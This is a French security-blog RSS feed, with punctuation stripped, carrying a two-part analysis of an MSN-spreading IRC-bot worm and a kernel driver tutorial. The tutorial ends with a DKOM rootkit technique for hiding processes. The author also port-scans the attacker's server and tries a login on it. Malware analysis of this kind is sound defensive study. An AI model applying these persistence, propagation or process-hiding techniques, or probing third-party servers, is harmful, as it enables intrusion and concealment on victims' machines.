va permettre d’assurer l’exécution del’exécutable lors des redémarrages de l’ordinateurUne autre clé de créer, cette fois ci c’est ici : «HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\» avec pour nom le path vers l’exécutable, et pour valeur le full pathconcaténé avec « :*:Enabled:Flash Player2 » d’où notre formatage dechaîne de caractère précédemmentCette clé va permettre d’autoriser les connections de servicesexe, lefirewall Windows ne viendra donc pas afficher de message d‘alerte parexempleMais, une question devrait vous venir à l’esprit : le «:*:Enabled:Flash Player2 », que signifie t-ilHum apparemment, c’est histoire de tromper l’utilisateurAllez donc voir dans le panneau de configuration, dans les propriétésdu firewall de Windows, dans les exceptions Que voit-on FlashPlayer2 : A présent, la dernier clé ajouté à l’emplacement : «HKEY_CLASSES_ROOT\htc »On y créer une clé qui se prénomme : Content Type avec la valeurryan1918comBon, cette fois ci c’est plutôt explicite, on change le mime type desfichiers htcNous continuons, jusqu’à tomber sur une routine de décryptage dechaîne de caractères, on y trouve des messages en toutes langues dugenre : « c'est pas toi » ou « emoticon with your face »Ces messages correspondraient normalement a ceux envoyé par MSN afind’assurer la propagation du verNous arrivons à la fin, le plus juteux sûrement, une socketEn analysant un peu les routines, on constate que c’est enfaite uneconnection sur un serveur irc aslaldanmanet sur le port tcp 7575Cependant, le malware prend le soin de récupérer des informations surlequel il est lancé, comme la langue utilisé par le biais deGetLocaleInfoEnsuite on formate une chaîne de caractères qui nous servira de pseudosur le serveur, une chaîne du style : « FRA-0H-avwooezrf »C’est ici que la première partie de cet article s’arrête : J’ai décidé de traiter le dernier call, le plus intéressant et le pluslong à analyser, la semaine prochain donc, cela vous laisse le tempsde mener votre petit enquête vous aussiMais normalement Une question subsisteLors de l’injection de code dans l’explorer au début de notre malware,comment peut-on bien faire pour debugguer la routine lancée par lethreadJe vais vous filer une petite astuceTout d’abord, créer vous un programme bidon, une messagebox toutsimplementNous allons l’ouvrir avec Olly, lancer le prog, et donc ne pas validerla messagebox, de sorte que le processus reste en debugEnsuite, nous ouvrons notre malware sous OllyNous arrivons a l’OpenProcess, nous allons alors modifié le PID duprocessus sur lequel on va créer le remote thread, de sorte a pouvoirle debugguerOn modifie donc le registre qui va être pusher pour l’appel aOpenProcessNous allons donc ouvrir notre processus ’bidon’, notre messageboxEnsuite au moment du VirtualAllocEx, nous récupérons dans eaxl’adresse sur laquelle on a écrit les donnéesOn retourne du côté de notre messagebox sous Olly, et on s’en varechercher cette adresse justement« No Memory Address », bien évidemment Olly n’est pas au courant quenous avons allouer de la mémoire dans le processus VirtualAllocExec,on va donc dans view, puis MemoryNous recherchons donc notre adresse, et là magique ça fonctionneA présent nous posons un break point sur la routine, et nous allonslancer le CreateRemoteThread à partir du Olly qui debug notre malwareEt BIM ça breakVoilà une petite astuce permettant de pouvoir tracer une routine créerdans un autre processusCe petit article, est donc terminé, en espérant avoir été clair, etvous avoir apporter quelque choseCette analyse, m'aura beaucoup apporter, que ce soit au niveau de lamanipulation d'outil tel que OllyDbg et IDA, mais aussi sur le plan dela compréhension par le biais de dump asmN'hésiter donc pas, à analyser un binaire, que ce soit un malware oupas, on y trouve souvent des petites techniques intéréssantes auniveau codingJe vous file un petit code permettant de décrypter des chaînes quisont xorer avec une certaine clé ainsi qu‘un petit pack contenant lesbinaires et les idbs faites en bonne usage:-Dexorc-Pack_Analyse_NakedcomrarCyaPS : Merci à BaboonIMAGE</description><link>http://www.secuobs.com/revue/news/104782.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104782.shtml</guid></item>
<item><title>3v1l 0r n0t  - Part II</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. -    Bonjour à tous,je release aujourd'hui la seconde et dernière partie de mon analyseSouvenez vous que lors du précédent article, nous nous étions arrêté àla connection sur un serveur ircAu cours de cet article je vais vous présenter rapidement lesfonctions que le codeur a intégré au seins de son malwareConseils préliminaires :-Cette fois-ci, l'accès au net est bien entendu nécessaire, des outilscomme Wireshark ainsi que ProcessExplorer peuvent être utiles,histoire de surveiller les threads de notre processus, et de vérifierles accès au réseau de notre programme-Dans cette partie, je vous conseil de vous débrouiller afin que lemalware ne se connecte pas sur le serveur « normal » Redirigez levers un serveur où vous le rejoindrez pour mener vos testsOn modifie alors les variables nécessaires, on utilise le clicdroit-Follow In Dump sous OllyDbgJe pense avoir à peu près tout disPlace à l'analyse à présentPourquoi l'ircCela est peut être une question que vous vous posezLa connection de la victime sur un serveur irc présente en faitplusieurs avantagesTout d'abord, l'attaquant n'a alors aucune connection directe avec saou ses victimes, les serveurs où les logs sont inexistants sont donctrès intéressantsDe plus, le faite de ce connecté à un serveur irc, permet de passeroutre le problème des routeurs, avec le forwarding de portEnfin, dans ce genre de cas, je pense que si l'attaquant utilise l'ircc'est évidemment pour commander toutes ses victimes avec aisanceDans ce cas précis, le « gérant » du serveur, utilisait un scriptpermettant de contrôler le reseau de zombie, en envoyant à intervallede temps régulier des commandesUne commande est alors exécutée par toutes les victimes présentes surle channelCette « technique » est souvent utilisée pour commander des attaquesde type « Distributed Denial of Service » par exempleTr4c3 m3Nous voilà repartis dans les profondeurs de notre exécutableEn plus de la connection à un serveur irc, on observe bien sûrplusieurs modules, comme un module de réponse au PING  voir rfc irc, un module permettant de rejoindre le channel si l'on été kickeretcCependant, une chose nous attire l'oeil, après avoir traité les casprécédents, on call une fonctionLe mystère est alors entierOn trace, on trace, c'est alors que nous remarquons deux chosesintéréssantesOn va pusher une chaîne de caractères, notre buffer  découpé par uneroutine bien evidémment  et bien sûr un call à la fonction strstrdisponible dans la librairie stringhMais que cherche t-il a faireC'est pourtant très simple, ceci est une façon de commander la victimeprésente sur le channelEn effet dans le premier cas, on « déclenche » une fonction si l'ontrouve la chaine « òÿööõ »Chaine1 :db 0F2hdb 0FFhdb 0F6hdb 0F6hdb 0F5hdb 0Intéressons nous à cette routineA fucking ThreadComme toujours nous traçons, nous traçonsCette routine est plutôt longue et assez complète c'est pour cela quej'en parlerai brièvementOn va donc au début de cette routine effectuer un test, en ce quiconcerne la langue utilisée sur le système corrompu, afin de pouvoirsélectionner un message qui sera en accord avec la langueOn commence déjà, a sentir ce qui nous attendPlus bas,nous arrivons sur la routine qui va se charger de « manipuler» msn, afin de se propager en envoyant un message contenant un lien,aux adresses contenues sur le compte de la victimeOn aperçoit ensuite un appel à CreateThread, serait-ce le thread quiva se charger de manipuler msnOn va bien sûr poser un breakpoint sur le début de la routine afin depouvoir l'analyserEn traçant, on observe des chaînes de caractères qui nous ne sont pasméconnues, comme : « C'est pas toi »On peut supposer que ces messages correspondent à ce qui sera envoyéaux contactsBon, on comprend aussi que le malware va utiliser la COM library pourcorrompre msn, les appels aux fonctions CoInitialize etCoCreateInstance nous confortent donc notre analyseAprès de multiples actions, on va formater une chaîne de caractèrescomposée du message dans la bonne langue, ainsi qu'un lien, afin defaire télécharger un exécutable à la victimeOn peut donc « personnaliser » ce lien, il suffit d'appeler lafonction avec la chaine de caractères : « òÿööõ » suivit d'une urlxorée avec la clé 196Exemple :Les messages que nous recevons sont du type :« C'est pastoihttp://membreslycosfr/photoos2008/=votreadressemsn »La commande envoyée par l'attaquant est donc :« òÿööõ ¬°°´þëë©¡©¦¶¡·ê¨½§«·ê¢¶ë´¬«°««·öôôüëûù »Une fois la chaîne formatée, concaténée avec votre adresse, le malwareva utiliser une technique plutôt « maison » si je peux direEn effet, il va se servir du clipboardIl va tout simplement copier la chaîne de caractères dans leclipboardHum, a quoi cela sert-ilLe malware, va alors se débrouiller pour cacher la fenêtre du contactde la victime et lui donner le focusPatience, juste en dessous, on aperçoit des appels à une fonction :keybd_eventOn regarde les arguments qui lui sont passés La première fonction vasimuler l'appuis sur la touche « CTRL », la seconde sur la touche « V» et la dernière sur la touche « ENTER »Une petite astuce qui peut être retenue Utiliser le clipboard pour stocker une information et utiliser leraccourcis clavier, simulés par keybd_event, pour collerl'informationVoilà en ce qui concerne la première commandeFinalement il nous reste à en savoir plus sur la seconde commandeCelle-ci est déclenchée par la chaîne de caractères : « ôóýýûòó »Chaine2 :db 0F4hdb 0F3hdb 0FDhdb 0FDhdb 0FBhdb 0F2hdb 0F3hdb 0Bon après avoir tracer cette routine, elle reste très similaire à lapremièreTous d'abord cette fonction à été créée je pense, afin de pouvoirpersonnaliser les messages envoyés, aux victimesAfin d'éviter de toujours utiliser les chaînes de caractèreshardcodéesOn peut donc appeler la fonction de la façon suivante :Exemple :« ôóýýûòó 0vercl0kblogspotcom/= plz look» cette commande iraenvoyer le message : « plz look0vercl0kblogspotcom/=votreadressemsn »Bien sûr, les chaînes de caractères doivent être xorée avec la clé 196avant d'être passée en argument, je ne l'ai pas « encodée » pourfaciliter la compréhensionDonc le thread lancé par la commande est le mêmeLes deux fonctions sont quasiment identiques, seulement dans laseconde fonction on constate la présence d'une routine se chargeant de« découper » le buffer en argument, pour ensuite les passés à lacommandeConclusionL' analyse de ce malware est alors terminé en ce qui me concerneJe n'analyserais pas les binaires qui ont été télécharger par leprogramme au fur et a mesure de l'exécution du malware, toutsimplement car cela me prend énormément de tempsTous ce que je sais, c'est que les exécutables vont entre autre entélécharger d'autre binaire, certains sont contenus dans des pagesphps, on pourrait même croire à une sorte de serveur qui stock desaméliorations ou autres, un serveur d'updateBon après cette partie, je vous propose une petite excursionSh3rl0ck h0lm3sUne fois que j'étais au courant de ce que pouvais faire le malware, lacuriosité m'a poussé à aller sur le serveur où le malware est censé seconnecterLa connection s'effectueJe décide alors de me faire passer pour une victime, je prend un nickformaté comme celui d'une victimePetit temps de repérage, le serveur est loin d'être bavard, presquetoutes les commandes sont désactivés, les whois sont interdits, aucunvoicé, le channel est modéréLe channel est en apparence vide, les victimes sont surrementscachées, je vois seulement un opérateurCelui-ci balance sur le public une chaine du style :òÿööõ ¬°°´þëë©¡©¦¶¡·ê¨½§«·ê¢¶ë´¬«°««·öôôüëûùOn reconnaît bien sure la première commande, si l'on décrypte lachaine on retrouve : « http://membreslycosfr/photoos2008/= »Enfin bref, cela m'intrigue, ce qui m'étonnerai serai que le serveurqui héberge le daemon irc, appartienne au codeur du malwareAvec l'aide de sevieron, nous entamons une petite, analyseOn commence notre analyse, par un whois sur le dns aslaldanmanetDomain Name aldanmanetCreation Date 2005-07-26Registration Date 2005-07-26Expiry Date 2010-07-26Organisation Name Marsha GrizzellOrganisation Address 220 montalvo drOrganisation AddressOrganisation Address bakersfieldOrganisation Address 93309Organisation Address CAOrganisation Address UNITED STATES MINOR OUTLYING ISLANDSOn lance quelques recherches, afin de trouver quelques informationssur la soit disant propriétaireGoogle nous renvois des sites ayant un rapport avec des produits pourla perte de poids, par exemple healthweightne, assez étonnant qu'undaemon irc installé, dans le but de récupérer et commander lesvictimes, par une tel personneNous continuonsC'est à présent un scan, que nous lançons sur le serveurPORT STATE80/tcp closed83/tcp open358/tcp open3389/tcp open8721/tcp openNous tentons une connection sur le port tcp 8721Nous tombons sur une petite surprise, on se retrouve sur un espèce deremote shell/ftp daemonL'identification se passe comme un daemon ftp apparemmentUSER anonymousPASS lolilol@lolilolcomBon, fallait s'en douter, l'accès est heureusement refuséLe but de l'opération ne résidait de toutes façons pas en l'obtentiond'un accèsNous avons cependant observer des phrases présentes dans la «présentation » à la connectionD'après Google il s'agit d'un trojan qui permettrait d'upper desfichiers et j'en passeCe qui confirmerais qu'il agit bien d'un serveur compromisPS : Un windows server 2003 tourne sur le 3389Tout cela, pour montrer que la prise d'information sur un serveur estd'après moi, essentiel pour la suite des opérationsOn peut donc aussi conclure que le serveur a surement été victimed'une attaque quelconque, menant à un remote accessVoilà nous arrivons à la fin de ce petit articleJ'espère avoir intéressé quelques d'entres vous, je vous donnequelques liens :Analyser un binaire rapidement et autre qu'en local -http://analysisseclabtuwienacat/indexphpLE scanner - http://nmaporg/L'archive mise à jour contenant les binaires, idbs -http://overclokfreefr/Codes/AnalyseMalwareNaked/Analyse_Malware_NakedrarC'est finit, bonne journée à tousRemerciement, aux personnes qui me relisent, et qui me conseil, voilàtout est dit :CyaIMAGE</description><link>http://www.secuobs.com/revue/news/104781.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/104781.shtml</guid></item>
<item><title>First steps into ring0</title><description>Secuobs.com : 2009-06-02 14:34:51 - 0vercl0k's blog. - Bonjour à tous,Je profite de mes petites vacances pour attaquer la programmation dedriverCela me trottait dans la tête depuis pas mal de temps enfaite, je vousdévoile alors aujourd'hui mes premier pas dans ce nouveau mondeConseils préliminaires :- Je vous recommande encore une fois, l'utilisation massive demachines virtuels, et de snapshotsTout simplement, parce que les Blues Screen Of Death abrégé BSODarrivent très rapidement- Ensuite, tout comme dans l'userland ring3, des outils de debugssont les bienvenus, je vous conseille donc d'installer les "DebuggingTools for Windows"- Pour pouvoir mener vos test sur les drivers, je vous recommande"Driver Loader" qui va permettre d'enregistrer votre driver au sein dusystèmeVous pouvez ensuite le lancer avec aisance par le biais de la commande"net" :net start votredriverLe programme "WinObj" peut aussi vous être utile- Et bien sur, le WDK Windows Driver KitCette iso va contenir de la documentation très bien faite, leslibrairies nécessaires au développement de vos drivers, tous ce quevous aurez besoins pour coder vos drivers en tout cas :Je cite :"The Windows Driver Kit WDK is a fully integrated driver developmentsystem for the Microsoft Windows family of operating systems Itcontains the Windows DDK and tests that Microsoft uses to test thestability and reliability of the Windows operating system"source : http://wwwmicrosoftcom/whdc/devtools/WDK/AboutWDKmspxVoilà tout pour le momentJe vous propose à présent, quelques lignes sur la configuration dudebuggeur de kernel kdDebug your fucking vmPour pouvoir debugguer vos futurs driver, ou votre kernel, vous avezbesoin d'un serveur prêt à être debugguer, ou une machine virtuelEn ce qui me concerne j'ai choisis la solution machine virtuel, celaest bien plus simpleAfin de connecter le kd à votre machine virtuel il va falloir toutd'abord ajouter un Port série à votre vmOn choisit ensuite de faire transiter les données par un named pipeOn configure la connection de la named pipe avec le port sérieN'oublions pas de cliquer sur le bouton "Advanced" et de cochez "YieldCPU on poll"Une fois configurer notre port série, on va modifier un petit peu lebootini pour que la machine supporte le remote debuggingVous ouvrez donc le bootini avec notepad++ par exemple, vous copiezcollez la ligne dans le Operating systems qui existe déjà, vous vousretrouvez avec deux lignes identiquesVous rajoutez sur l'une des deux cela :/debug /debugport=COM1:Je me retrouve avec un bootini qui ressemble à cela :multi0disk0rdisk0partition1WINDOWS="Microsoft Windows XPProfessionnel" /noexecute=optin /fastdetect /kernel=oemkrnlexemulti0disk0rdisk0partition1WINDOWS="Microsoft Windows XPProfessionnel" /noexecute=optin /fastdetect /kernel=oemkrnlexe /debug/debugport=COM1:A présent, on redemare notre vmet là au boot, nous avons le choixentre un démarrage classsique, et un démarrage avec le debug activéIl est temps de sortir WinDbgVous allez dans le menu "File"-"Kernel Debug" et on va le configurerpour que les données entre la vm et le debug transite par le namedpipeOn valide, et Break CTR+Break, et vous devriez vous retrouvez avecle prompt du kdJe vous conseil aussi de télécharger les symbols :http://msdlmicrosoftcom/download/symbolsEnsuite vous vous creez une variable d'environnement qui porte le nom:_NT_SYMBOL_PATHet comme valeur :SRV*C:Symbols*http://msdlmicrosoftcom/download/symbolsVous êtes donc prêt à debugguer vos drivers Ceci dit je vous donne un peu de documentations :- Si vous voulez connecter virtualpc a windbg -http://therecyclebinwordpresscom/2007/06/11/kernel-debugging-windbg-and-virtual-pc/- Windbg - http://softwarerkustercom/- WDK - http://connectmicrosoftcom/Introduction"One Ring to rule them all, One Ring to find them, One Ring to bringthem all and in the darkness bind them" The Fellowhip of the Ring, JR R TOLKIENJe vais consacrer ces quelques lignes à présenter un peu le ring0Comme vous le savez peut être déjà tous, les processeurs mettent àdisposition 4 niveaux de privilèges appelés rings ring0 ,  ,ring3Le système windows en utilise que deux d'entre eux à savoir :- L'userland ou le ring3 abrégé r3- Et le kerneland ou le ring0 abrégé r0Le ring0 va permettre la gestion de la mémoire virtuelle par exemple,ou encore la gestion d'un matériel connecté à votre ordinateur ; c'estenfaite le coeur du systèmeComme la citation le laisse entrevoir, dans le ring0 c'est nous lemaître :En revanche le ring3 est ce qui est le plus classique, les exécutablesclassiques, notre bon vieux client irc, ou notre player de musiquepréférée ; ceci dit cette espace est restreint à des règlesOn retrouve souvent le fonctionnement suivant : une application estexécutée depuis l'userland, celle-ci va envoyer des informations à undriver qui lui va pouvoir agir en conséquence, en lui renvoyant sinécessaire des informations de retoursIf faut savoir aussi que la taille des registres de nos processeurss'élève à 32bits architecture x86, nous avons donc accès a 2^32adresses mémoire, soit 4go : 2 pour l'userland de 0x00000000 à0xBFFFFFFF et 2 pour le kerneland de 0xC0000000 à 0xFFFFFFFFA présent notre but va être de coder des programmes capables desurvivre dans ce monde où il n'est question que de BSOD mais nan :On appellera ces programmes des driversEt pourquoi pas arriver vers un rootkit de base commandé de l'userland :Place au coding à présentMessage venu du nouveau mondeAprès cette brève introduction au ring0, nous allons pouvoir aborderla programmation de driverLe point d'entré d'un driver est celui-ci :NTSTATUS DriverEntryPDRIVER_OBJECT pDriverObject, PUNICODE_STRINGpRegistryPath{}Avec pDriverObject qui est un pointeur sur une structure du typeDRIVER_OBJECTCelle-ci représente le driver chargé, et le second argumentpRegistryPath est une chaine de caractères UNICODE de la formesuivante :RegistryMachineSystemCurrentControlSetServicesNomDuDriverEnsuite si vous voulez déchargez un driver, il faut spécifier unefonction d'unload par le biais du membre DriverUnload de la structureDRIVER_OBJECTpDriverObject-DriverUnload = VotreFonction;Et enfin, on utilise l'équivalent de printf mais au niveau kernelandà savoir : DbgPrintLes messages seront bien sur visible grâce à un outil utilisé dans desarticles précédents : DebugViewCeci nous amène donc à la compilationEuhOn compile cela commentJ'y viens:Tout d'abord j'utiliserais le compilateur disponible avec le wdk, celaévitera de se casser la têteDeux fichiers sont nécéssaires à la compilation :- le makefile- et un fichier "sources" c'est enfaite le nom des fichiers deprojets sous le wdkLe fichier makefile est composé d'une seule ligne :INCLUDE $NTMAKEENVmakefiledefEnsuite le fichier sources est décomposé de la façon suivante :TARGETNAME = LeNomDuDriverTARGETPATH = objTARGETTYPE = DRIVERINCLUDES = %BUILD%incLIBS = %BUILD%libSOURCES = VotreSourcecNous sommes donc prêt à compiler notre premier driver, émotion aurendez vous Nous ouvrons le build environment xpOn se déplace dans notre dossier contenant les trois fichiers, et onlance la commande buildOhun sys :, il s'agit de notre driverMais comment le lance t-onPatience, nous y voilàDans les premières lignes de ce modeste article, je vous proposaisplusieurs outils, dont DriverLoaderDriverLoader va nous permettre d'enregistrer notre driver, et depouvoir le lancerNous demarrons DebugView, on lance DriverLoader, et on lance notredriverEt voilà, notre helloWorld fonctionne :A présent, just for phun, nous allons provoquer un BSOD, histoire d'enréver pendant une semaineOn va aller écrire n'importe quoi à n'importe qu'elle adresse enfaite:Resultat en image :Enfin bon, a présent passons aux choses sérieusesET téléphone kernelMaintenant notre but va être de faire communiquer une applicationlancée en ring3 et un driver en ring0Nous commencerons par le driverPour mener à bien notre quête, nous allons utiliser les IOCTLs codeset les IRPsMais nous en parlerons un peu plus basAfin de pouvoir communiquer avec l'exterieur, nous avons besoin decreer un "device" une sorte d'interfaceNTSTATUSIoCreateDeviceIN PDRIVER_OBJECT DriverObject,IN ULONG DeviceExtensionSize,IN PUNICODE_STRING DeviceName OPTIONAL,IN DEVICE_TYPE DeviceType,IN ULONG DeviceCharacteristics,IN BOOLEAN Exclusive,OUT PDEVICE_OBJECT *DeviceObject;N'oublions pas que les chaines mis en jeux sont des chaines unicodesEnsuite il est nécéssaire de creer un symlink entre le nom de notreinterface, et le nom visible de l'userlandCe symlink permettra d'avoir accès à notre device depuis le r3NTSTATUSIoCreateSymbolicLinkIN PUNICODE_STRING SymbolicLinkName,IN PUNICODE_STRING DeviceName;Après ces étapes, nous allons "handler" des fonctions à déclencherselon la réception des différentes IRPJe m'explique, une IRP est enfaite un paquet d'information envoyé à undriver, il existe plusieurs type d'IRP voir documentationA l'intérieur de la structure DRIVER_OBJECT il existe un membre nomméMajorFunction qui est tableau de pointeurkd dt nt_DRIVER_OBJECT+0x000 Type : Int2B+0x002 Size : Int2B+0x004 DeviceObject : Ptr32 _DEVICE_OBJECT+0x008 Flags : Uint4B+0x00c DriverStart : Ptr32 Void+0x010 DriverSize : Uint4B+0x014 DriverSection : Ptr32 Void+0x018 DriverExtension : Ptr32 _DRIVER_EXTENSION+0x01c DriverName : _UNICODE_STRING+0x024 HardwareDatabase : Ptr32 _UNICODE_STRING+0x028 FastIoDispatch : Ptr32 _FAST_IO_DISPATCH+0x02c DriverInit : Ptr32 long+0x030 DriverStartIo : Ptr32 void+0x034 DriverUnload : Ptr32 void+0x038 MajorFunction : 28 Ptr32 longCe tableau nous permet alors d'handler des fonctions qui vont réagirselon les différentes IRPs reçusPar exemple, lorsque l'on va ouvrir un handle sur notre device dansnotre application ring3 par le biais de la fonction CreateFile, ledriver va recevoirune IRP_MJ_CREATE, et quand on va fermer le handle, il va recevoir uneIRP_MJ_CLOSEC'est ici que les IOCTLs rentrent en jeuxEn effet pour pouvoir déclencher tel ou tel action, nous avons besoind'une sorte de "code" qui serait recuperé par le driver, et quiagirait en conséquenceNous allons donc forger des IOCTLs, par le biais de la macroCTL_CODEOn va donc creer notre propre "code" qui sera reconnus par le driver#define IOCTL_LOLCTL_CODE SIOCTL_TYPE, 0x800, METHOD_BUFFERED,FILE_READ_DATA|FILE_WRITE_DATApar exempleIl faut savoir qu'il existe plusieurs type de transfert pour nosdonnées, en ce qui nous concerne nous utiliserons la METHOD_BUFFEREDBon à présent lors de l'envoi de l'IOCTL par notre appli r3, le driverva alors recevoir une IRP_MJ_DEVICE_CONTROLLa fonction qui sera "handler" à cette irp va alors s'occuper derécuperer des informations sur le type d'IOCTL reçusPour cela nous utiliserons la fonction suivante :PIO_STACK_LOCATIONIoGetCurrentIrpStackLocationIN PIRP Irp;Cette fonction va permettre de récupérer tous ce dont on aura besoinsur l'action demandéeEnsuite nous allons lire le membreParametersDeviceIoControlIoControlCode de la structureIO_STACK_LOCATIONCe membre nous indique le "code" envoyé : celui forgé ; notre IOCTLsIl nous reste plus qu'a mettre en place un switch sur ce membre, etagir en conséquence :Il est aussi possible de passer des arguments, il suffit de lire lemembre AssociatedIrpSystemBuffer de la structure IRP et d'y écrirededansCe buffer fait office de buffer d'entré et de sortie, mais ceci estpropre à la METHOD_BUFFEREDScreenshot pour la route :On peut aussi à ce moment là, utiliser l'outil WinObj pour constaterl'existence de notre device avec un symlinkOuf, vous pouvez soufler un peu, nous arrivons à la finComme vous vous en doutez surrement, ces IOCTLs vont donc êtremassivement employer dans les rootkits par exemple, afin de fairecommuniquer le driver et l'application userlandPas d'exemple concret:Mais siHow to hide a fucking process with DKOM Direct Kernel ObjectManipulationDans cette partie nous allons nous amusez à cacher un processus ausystème :Je vous explique un peu notre plan :- Notre application userland, va recuperer le nom du processus quel'on veut cacher- L'appli va envoyer une IOCTL au driver, avec un argument : le nom duprocessus- Le driver va donc recuperer le nom du processus c'est là que çadevient intéréssant- Nous allons récupérer un pointeur sur une structure EPROCESS grâce àla fonction IoGetCurrentProcess- Une fois récupérer notre pointeur, nous allons parcourir lesstructures grâce au membre ActiveProcessLinks qui est enfaite unedouble liste chainée- Nous allons comparer le nom du processus récupéré avec le membreImageFileName- Si il n'y a aucune différence nous nous trouvons dans la structureEPROCESS concernant le processus à cacher- A présent il nous reste juste à modifier la structure précédente etsuivante afin que les membres Flink et Blink des listes chainées nepointent plus sur la structure du processus à cachéOn va en quelques sortes "sauter" la structure à cachéVoilà à présent je vous file 2 structures qui vont être utile dans lacompréhension du code :kd dt nt_EPROCESS+0x000 Pcb : _KPROCESS+0x06c ProcessLock : _EX_PUSH_LOCK+0x070 CreateTime : _LARGE_INTEGER+0x078 ExitTime : _LARGE_INTEGER+0x080 RundownProtect : _EX_RUNDOWN_REF+0x084 UniqueProcessId : Ptr32 Void //PID du processus, à l'offset0x084+0x088 ActiveProcessLinks : _LIST_ENTRY //ce qui nous interesse : àl'offset 0x088+0x090 QuotaUsage : 3 Uint4B+0x09c QuotaPeak : 3 Uint4B+0x0a8 CommitCharge : Uint4B+0x0ac PeakVirtualSize : Uint4B+0x0b0 VirtualSize : Uint4B+0x0b4 SessionProcessLinks : _LIST_ENTRY+0x0bc DebugPort : Ptr32 Void+0x0c0 ExceptionPort : Ptr32 Void+0x0c4 ObjectTable : Ptr32 _HANDLE_TABLE+0x0c8 Token : _EX_FAST_REF+0x0cc WorkingSetLock : _FAST_MUTEX+0x0ec WorkingSetPage : Uint4B+0x0f0 AddressCreationLock : _FAST_MUTEX+0x110 HyperSpaceLock : Uint4B+0x114 ForkInProgress : Ptr32 _ETHREAD+0x118 HardwareTrigger : Uint4B+0x11c VadRoot : Ptr32 Void+0x120 VadHint : Ptr32 Void+0x124 CloneRoot : Ptr32 Void+0x128 NumberOfPrivatePages : Uint4B+0x12c NumberOfLockedPages : Uint4B+0x130 Win32Process : Ptr32 Void+0x134 Job : Ptr32 _EJOB+0x138 SectionObject : Ptr32 Void+0x13c SectionBaseAddress : Ptr32 Void+0x140 QuotaBlock : Ptr32 _EPROCESS_QUOTA_BLOCK+0x144 WorkingSetWatch : Ptr32 _PAGEFAULT_HISTORY+0x148 Win32WindowStation : Ptr32 Void+0x14c InheritedFromUniqueProcessId : Ptr32 Void+0x150 LdtInformation : Ptr32 Void+0x154 VadFreeHint : Ptr32 Void+0x158 VdmObjects : Ptr32 Void+0x15c DeviceMap : Ptr32 Void+0x160 PhysicalVadList : _LIST_ENTRY+0x168 PageDirectoryPte : _HARDWARE_PTE+0x168 Filler : Uint8B+0x170 Session : Ptr32 Void+0x174 ImageFileName : 16 UChar //Nom du process+0x184 JobLinks : _LIST_ENTRY+0x18c LockedPagesList : Ptr32 Void+0x190 ThreadListHead : _LIST_ENTRY+0x198 SecurityPort : Ptr32 Void+0x19c PaeTop : Ptr32 Void+0x1a0 ActiveThreads : Uint4B+0x1a4 GrantedAccess : Uint4B+0x1a8 DefaultHardErrorProcessing : Uint4B+0x1ac LastThreadExitStatus : Int4B+0x1b0 Peb : Ptr32 _PEB+0x1b4 PrefetchTrace : _EX_FAST_REF+0x1b8 ReadOperationCount : _LARGE_INTEGER+0x1c0 WriteOperationCount : _LARGE_INTEGER+0x1c8 OtherOperationCount : _LARGE_INTEGER+0x1d0 ReadTransferCount : _LARGE_INTEGER+0x1d8 WriteTransferCount : _LARGE_INTEGER+0x1e0 OtherTransferCount : _LARGE_INTEGER+0x1e8 CommitChargeLimit : Uint4B+0x1ec CommitChargePeak : Uint4B+0x1f0 AweInfo : Ptr32 Void+0x1f4 SeAuditProcessCreationInfo : _SE_AUDIT_PROCESS_CREATION_INFO+0x1f8 Vm : _MMSUPPORT+0x238 LastFaultCount : Uint4B+0x23c ModifiedPageCount : Uint4B+0x240 NumberOfVads : Uint4B+0x244 JobStatus : Uint4B+0x248 Flags : Uint4B+0x248 CreateReported : Pos 0, 1 Bit+0x248 NoDebugInherit : Pos 1, 1 Bit+0x248 ProcessExiting : Pos 2, 1 Bit+0x248 ProcessDelete : Pos 3, 1 Bit+0x248 Wow64SplitPages : Pos 4, 1 Bit+0x248 VmDeleted : Pos 5, 1 Bit+0x248 OutswapEnabled : Pos 6, 1 Bit+0x248 Outswapped : Pos 7, 1 Bit+0x248 ForkFailed : Pos 8, 1 Bit+0x248 HasPhysicalVad : Pos 9, 1 Bit+0x248 AddressSpaceInitialized : Pos 10, 2 Bits+0x248 SetTimerResolution : Pos 12, 1 Bit+0x248 BreakOnTermination : Pos 13, 1 Bit+0x248 SessionCreationUnderway : Pos 14, 1 Bit+0x248 WriteWatch : Pos 15, 1 Bit+0x248 ProcessInSession : Pos 16, 1 Bit+0x248 OverrideAddressSpace : Pos 17, 1 Bit+0x248 HasAddressSpace : Pos 18, 1 Bit+0x248 LaunchPrefetched : Pos 19, 1 Bit+0x248 InjectInpageErrors : Pos 20, 1 Bit+0x248 VmTopDown : Pos 21, 1 Bit+0x248 Unused3 : Pos 22, 1 Bit+0x248 Unused4 : Pos 23, 1 Bit+0x248 VdmAllowed : Pos 24, 1 Bit+0x248 Unused : Pos 25, 5 Bits+0x248 Unused1 : Pos 30, 1 Bit+0x248 Unused2 : Pos 31, 1 Bit+0x24c ExitStatus : Int4B+0x250 NextPageColor : Uint2B+0x252 SubSystemMinorVersion : UChar+0x253 SubSystemMajorVersion : UChar+0x252 SubSystemVersion : Uint2B+0x254 PriorityClass : UChar+0x255 WorkingSetAcquiredUnsafe : UChar+0x258 Cookie : Uint4Bkd dt nt_LIST_ENTRY+0x000 Flink : Ptr32 _LIST_ENTRY //Pointe sur la struct suivante+0x004 Blink : Ptr32 _LIST_ENTRY //Pointe sur la struct precedenteJe pense que vous êtes apte à comprendre le code fournis :Un petit screenshot pour la route :A présent il nous reste à aborder l'application ring3Celle-ci est extremement simple à comprendre/coderEn effet, on ouvre un handle sur notre device avec CreateFile, nousenvoyons nos IOCTLs grâce à la fonction DeviceIoControlVoilà toutEt je compile ça commentJ'ai utilisé le compilateur disponible dans le wdkSeul le fichier "sources" diffère, je vous propose le mien :TARGETNAME=votreAppliTARGETTYPE=PROGRAMINCLUDES=SOURCES=VotreApplicUMTYPE=consoleUMBASE=0x04000000USE_MSVCRT=1Vous pouvez dorénavant compiler l'application utilisé pour communiqueravec notre driver Maiscette technique n'a pas de "point" faibleHum, à mon grand regret après avoir lus un article disponible sur leblog d'un amis lilxam, celui-ci nous montre comment "bypasser" cehide de process :Enfin bon, je ne m'avous pas vaincus, je reviendrais avec unemeilleure technique :Il est venus le temps de filer les codes :- HelloWorldc- BSODc- HideFuckingProcessR3c- HideFuckingProcessR0cEt voilà c'est finit pour aujourd'hui Encore merci aux 